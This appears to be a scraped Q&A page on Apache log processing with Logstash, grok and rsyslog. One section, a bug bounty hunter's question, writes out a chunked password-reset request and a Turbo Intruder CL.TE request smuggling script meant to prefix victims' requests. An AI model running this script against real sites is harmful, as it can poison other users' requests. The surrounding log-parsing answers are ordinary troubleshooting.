Logstash GeoIP on X-Fowarded-for - linux

We are using logstash and it's grok filtering to pre-process our Apache Logfiles.
All our machines are behind load balancers, so client IPs are logged into the "X-Forwarded-For" header.
Our access logs look like this:
"18.32.120.32, 192.168.12.118" [07/Sep/2014:15:53:48 +0200] "GET /login HTTP/1.1" 200 137 "http://www.google.com" "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0"
"18.32.120.32, 88.32.240.21, 192.168.12.118" [07/Sep/2014:15:53:48 +0200] "GET /login HTTP/1.1" 200 137 "http://www.google.com" "Mozilla/5.0 (Windows NT 5.1; rv:32.0) Gecko/20100101 Firefox/32.0"
the corresponding apache logging directive looks like this:
LogFormat "\"%{X-Forwarded-For}i\" %t %{Host}i \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"
As you can see, the x-forwarded-for header can consist from 1 to 3 IP Addresses, depending on the way the request is received.
We interpret the x-Forwarded-for header as "QuotedString" in the logstash/grok pattern:
CUSTOMLOG %{QUOTEDSTRING:xforwardedfor_header} \[%{HTTPDATE:time}\] %{HOSTNAME:host_header} \"(?:%{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER:httpversion})?|%{DATA:rawrequest})\" %{NUMBER:response} (?:%{NUMBER:bytes}|-) %{QUOTEDSTRING:http_referrer} %{QUOTEDSTRING:http_useragent}
If we try to use the GeoIP Module from grok on the xforwardedfor_header field, the geo resolution fails. Shouldn't the module search and use the first IP Address it encounters?
Do we need the interpret the x-forwarded-for entry another way? If so, how?
Thanks very much.

Looking at the geoip source code, it does hanlde an array:
ip = event[#source]
ip = ip.first if ip.is_a? Array
So that tells me that you don't have an array in your xforwardedfor_header -- you have a comma seperated string... so you just need to split it.
filter {
split {
field => xforwardedfor_header
terminator => ','
}
}
Doing that before your geoip filter should fix your issue.

Related

Sending apache logs to remote rsyslog server adds extra space

I'm trying to send Apache/2.2.22 (Ubuntu) logs to remote rsyslogd 8.2001.0 (aka 2020.01) server and then use awstats 7.6 (build 20161204). I have problem with format and awstats shows that lines a corrupted I'm guessing that lines corrupted because of one extra white space in the beginning. Can someone tell me why rsyslog adds this extra space or how to remove it ? Log looks like:
x.x.x.x - - [06/Jan/2022:08:39:07 +0200] "GET /1.php HTTP/1.1" 200 2906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
But should look like:
x.x.x.x - - [06/Jan/2022:08:39:07 +0200] "GET /1.php HTTP/1.1" 200 2906 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36"
My apache config to send logs to local7:
CustomLog "| /bin/bash -c /usr/bin/tee -a ${APACHE_LOG_DIR}/access-my.domain.log | /usr/bin/logger -t my.domain.com -p local7.info" combined
Sender rsyslog config:
$ModLoad imfile
$InputFilePollInterval 10
$InputFileName /var/log/apache2/access-*.log
$InputFileTag apache2-access
$InputFileStateFile stat-apache-access
$InputFileSeverity info
$InputRunFileMonitor
$InputFileFacility local7
local7.* #x.x.x.x
Receiver rsyslog:
module(load="imudp")
input(type="imudp" port="514")
$template mydomain, "/var/log/remote-logs/access-my.domain.com.log"
$template mydomain2, "%msg%\n"
if $syslogtag == "my.domain.com:" then ?mydomain;mydomain2
& stop
Please help, and if you know this is extra: Apache should log to local7 and keep files locally, but this CustomLog only sends to local7 without saving files locally, i know this is OLD (DISTRIB_DESCRIPTION="Ubuntu 12.04.5 LTS"), that's why I sending logs to remote server , because in this distro no more packages for awstats and Perl modules.
for white space i need to strip log with
"%msg:2:$%\n" not only "%msg%\n"
But i have problem why logs not saving locally ?

Strange response when using Turbo Intruder

I'm a bug bounty hunter and just new to it. Few days ago, I read about the request smuggling vulnerability. And just after that, I started to find it on the Internet. Yesterday, I found a website that when I add X-Forwarded-Host: google.com to the header, it redirected me to https://www.google.com. It's very hard to exploit this so I have think about combine it with request smuggling. I choose the change password request as the target:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
I convert it to chunked:
POST /my-rx/forgot-password HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Connection: close
Cookie: <my_cookie>
Upgrade-Insecure-Requests: 1
Transfer-Encoding: chunked
6b
email=mymail%40gmail.com&submit=Reset+My+Password&csrf_token=cb5a82b3df1e45c7b95d25edb46cfbf3
0
But when I sent it, it gave me the 503 client read error code. Look like it doesn't accept chunked. But, I still want to continue, so I download HTTP Request Smuggler and Turbo Intruder extensions on Burp Suite. Then I do Smuggle attack (CL.TE). It give a smuggle attack python code:
# if you edit this file, ensure you keep the line endings as CRLF or you'll have a bad time
def queueRequests(target, wordlists):
# to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
# This will prefix the victim's request. Edit it to achieve the desired effect.
prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''
# The request engine will auto-fix the content-length for us
attack = target.req + prefix
engine.queue(attack)
victim = target.req
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Then I run it using Turbo Intruder. And I was very surprise, it sent 14 requests but just 12 requests are 503 and 2 left are 200. Special, in the 200 response header, it has ...transfer-encoding: chunked.... I have tried few times and it just gave the same result: 1 or 2 requests are 200. But something strange here, in the code, it's ...prefix = '''GET /hopefully404 HTTP/1.1
X-Ignore: X'''.... After few tests I think that it's not the request smuggling bug because the response shown that it is the response of the original request, not the prefix in the code (I have tried to change the prefix too and it's still 200, not 400, 404, ... like I expect).
So is there anyone(must be a very professional hacker) know what vulnerability am I facing? Thank you!
First of all, your first converted reuest in chunked in TE;CL but after using burp extension you found its CL;TE, so the problem may be there.
As with responses you are a bit confused, i recommend you to solve portswigger http request smuggling labs as i have completed that recently by which your fundamentals will get pretty strong!

online grok debugger doesn't work as expected

I am pretty new to grok. Am trying to understand it by testing some grok patterns using online Online Grok Tool.
I followed the instruction provided in the Link for the same.
When am testing as mentioned in the instructions link I don't see any output. please see below for error,
127.0.0.1 – – [11/Dec/2013:00:01:45 -0800] “GET /xampp/status.php HTTP/1.1” 200 3891 “http://cadenza/xampp/navi.php” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0”
This is because you copy/pasted the log directly from website, which copied html entity characters.
observe how – – are not - -, and “ ” are not " " in the following log,
127.0.0.1 – – [11/Dec/2013:00:01:45 -0800] “GET /xampp/status.php HTTP/1.1” 200 3891 “http://cadenza/xampp/navi.php” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0”
Following should work fine,
127.0.0.1 - - [11/Dec/2013:00:01:45 -0800] "GET /xampp/status.php HTTP/1.1" 200 3891 "http://cadenza/xampp/navi.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0) Gecko/20100101 Firefox/25.0"

Convert hostnames to IP addresses in an Apache access log file

I want to be able to convert hostnames to IP addresses in an Apache access log file (i.e. the opposite of what logresolve does).
I have an accesslog file that has been converted with logresolve but I want to revert it.
Each line starts, as an example:
hostname.com - - [01/Jan/2016:00:00:00 +0000] "GET /stuff HTTP/1.1" 200 1046 "http://mywebsite.com" "Mozilla/5.0 (Windows NT 6.1)"
How do I convert hostname.com to an IP address for every line?

Filter syslog message with logstash grok filter

I have the following logs sent to logstash via syslog input (the logs come from docker containers sent to logstash via logspout)
So, in the following log sample, the first line is a php-fpm error and the second line is a nginx access log
docker-nginx-php-composer|2015/03/17 16:31:28 [error] 9#0: *41 FastCGI sent in stderr: "PHP message: PHP Fatal error: Call to undefined function teetstst() in /var/www/index.php on line 3" while reading response header from upstream, client: 10.10.37.110, server: _, request: "GET /favicon.ico HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "turing:49213"
docker-nginx-php-composer|10.10.37.110 - - [17/Mar/2015:16:31:28 +0100] "GET /favicon.ico HTTP/1.1" 200 134 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.89 Safari/537.36"
```
OK so now I want to filter all this mess so I can "tag" PHP-FPM logs for example or filter only the warning and errors of PHP-FPM ...
I suppose I have to use the grok filter from logstash but I don't know exactly how ?
let say I want to filter only PHP errors, put a "php" tag on it and also filter 404 and 500 errors from nginx, how can I achieve this easily with logstash/grok ?
Any clues ? examples ?
Thanks :)
I would define two grok patterns:
php-fpm that starts with a date
nginx that starts with an ip
You can add_tag in each grok{} as desired.

Resources